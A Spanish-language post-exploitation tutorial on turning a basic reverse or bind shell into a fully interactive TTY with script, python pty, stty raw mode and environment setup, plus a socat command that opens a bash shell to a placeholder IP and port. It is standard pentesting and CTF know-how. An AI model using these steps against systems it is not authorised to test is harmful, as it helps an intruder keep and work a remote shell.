🔄 Tratamiento de TTY: Mejorando la Shell Interactiva
¿Por qué es necesario?
Cuando obtienes acceso inicial a un sistema (mediante reverse shell, bind shell, etc.), normalmente obtienes una TTY limitada que no soporta autocompletado, historial de comandos, o control de procesos. El tratamiento de TTY convierte esta shell básica en una completamente interactiva.
graph LR
A[Shell Inicial<br/>Non-Interactive] --> B[TTY Spawning<br/>script/python]
B --> C[Background Process<br/>Ctrl+Z]
C --> D[Raw Mode<br/>stty raw -echo]
D --> E[Foreground<br/>fg command]
E --> F[Full Interactive TTY<br/>Con todas las funciones]
style A fill:#ffcdd2,stroke:#d32f2f
style F fill:#c8e6c9,stroke:#388e3c
Diferencias entre tipos de shell
Característica
Non-Interactive
Semi-Interactive
Full Interactive
Autocompletado (Tab)
❌
❌
✅
Historial (↑/↓)
❌
❌
✅
Control de procesos (Ctrl+C)
❌
❌
✅
Editores (vi/nano)
❌
Limitado
✅
Comandos largos
❌
❌
✅
Clear screen (Ctrl+L)
❌
❌
✅
🔧 Proceso Paso a Paso
1. Spawning de TTY inicial
# Generar una TTY usando scriptscript /dev/null -c bash
Alternativas para spawning TTY
# Si Python está disponiblepython -c 'import pty; pty.spawn("/bin/bash")'python3 -c 'import pty; pty.spawn("/bin/bash")'# Si Perl está disponibleperl -e 'exec "/bin/bash";'# Usando echoecho os.system('/bin/bash')# Con socat (si está instalado)socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT
2. Suspender el proceso
# Enviar el proceso al backgroundCtrl + Z
¡No uses Ctrl+C!
Ctrl+C terminaría la conexión completamente. Solo usa Ctrl+Z para suspender temporalmente.
3. Configurar modo raw
# En tu terminal local (atacante)stty raw -echo; fg
¿Qué hace este comando?
stty raw: Pone el terminal en modo raw, pasando todos los caracteres directamente
-echo: Desactiva el eco local para evitar caracteres duplicados
fg: Trae el proceso suspendido al primer plano
4. Reactivar la shell
# Presionar Enter para reactivar[Enter]
5. Configurar variables de entorno
# Configurar tipo de terminalexport TERM=xterm# Configurar shell por defectoexport SHELL=bash# Configurar dimensiones de pantalla (ajustar según tu terminal)stty rows 44 columns 184
📝 Comandos Explicados
Comando script detallado
script /dev/null -c bash
Parámetro
Función
script
Utility que registra sesiones de terminal
/dev/null
Descarta la salida de logging
-c bash
Ejecuta bash como comando
Configuración stty
# Ver configuración actualstty -a# Configurar dimensiones manualmentestty rows [número] columns [número]# Obtener dimensiones de tu terminal localecho $LINES $COLUMNS
# Verificar configuración actualstty -a# Resetear terminal si hay problemasreset# Configuración limpiastty sane# Verificar variables de entornoecho $TERMecho $SHELLenv | grep -E "TERM|SHELL|LINES|COLUMNS"
Proceso de recuperación
# Si algo sale mal, ejecutar en orden:resetstty saneexport TERM=xtermexport SHELL=bashstty rows 44 columns 184clear
🎯 Verificación de funcionalidad
Checklist post-upgrade
Testea estas funciones
# 1. Autocompletadols /etc/pass[TAB]# 2. Historial# Presiona flecha arriba ↑# 3. Control de procesosping google.com# Presiona Ctrl+C para cancelar# 4. Editornano test.txt# Debería abrir correctamente# 5. Clear screen# Presiona Ctrl+L# 6. Líneas largas# Escribe un comando muy largo y edítalo
Configuración óptima final
# Configuración completa recomendadaexport TERM=xterm-256colorexport SHELL=/bin/bashexport LANG=en_US.UTF-8export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"# Dimensiones (ajustar según tu pantalla)stty rows 50 columns 200# Configuración de historialexport HISTSIZE=10000export HISTFILESIZE=20000export HISTCONTROL=ignoreboth:erasedups# Prompt personalizadoexport PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
¡TTY completamente funcional!
Una vez completado este proceso, tendrás una shell completamente interactiva con todas las funcionalidades esperadas, lo que facilitará enormemente el trabajo post-explotación.